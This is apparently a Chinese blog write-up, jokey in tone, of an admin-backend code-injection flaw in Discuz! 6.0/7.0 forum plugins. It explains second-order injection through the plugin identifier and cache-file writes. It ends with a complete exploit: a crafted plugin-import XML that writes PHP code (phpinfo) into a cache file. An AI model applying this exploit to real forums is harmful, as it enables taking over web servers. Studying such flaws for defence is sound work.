趁着地球还没毁灭,赶紧放出来。
预祝"单恋一枝花"童鞋生日快乐。
恭喜我的浩方Dota升到2级。
希望世界和平。
我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……
既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。
一 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell,文件写入必看。
/include/cache.func.php
往上翻,找到调用函数的地方.都在updatecache函数中.
如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.
/admin/plugins.inc.php
还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
/forumdata/cache/plugin_shell.php
我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
/forumdata/cache/plugin_a']=phpinfo();$a['a.php
最后是编码一次,给成Exp:
最终exp:
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="Title"><![CDATA[Discuz! Plugin]]></item>
<item id="Version"><![CDATA[7.2]]></item>
<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
<item id="Data">
<item id="plugin">
<item id="available"><![CDATA[0]]></item>
<item id="adminid"><![CDATA[0]]></item>
<item id="name"><![CDATA[www]]></item>
<item id="identifier"><![CDATA[shell]]></item>
<item id="description"><![CDATA[]]></item>
<item id="datatables"><![CDATA[]]></item>
<item id="directory"><![CDATA[]]></item>
<item id="copyright"><![CDATA[]]></item>
<item id="modules"><![CDATA[a:0:{}]]></item>
<item id="version"><![CDATA[]]></item>
</item>
<item id="version"><![CDATA[7.2]]></item>
<item id="language">
<item id="scriptlang">
<item id="a'"><![CDATA[=>1);phpinfo();?>]]></item>
</item>
</item>
</item>
</root>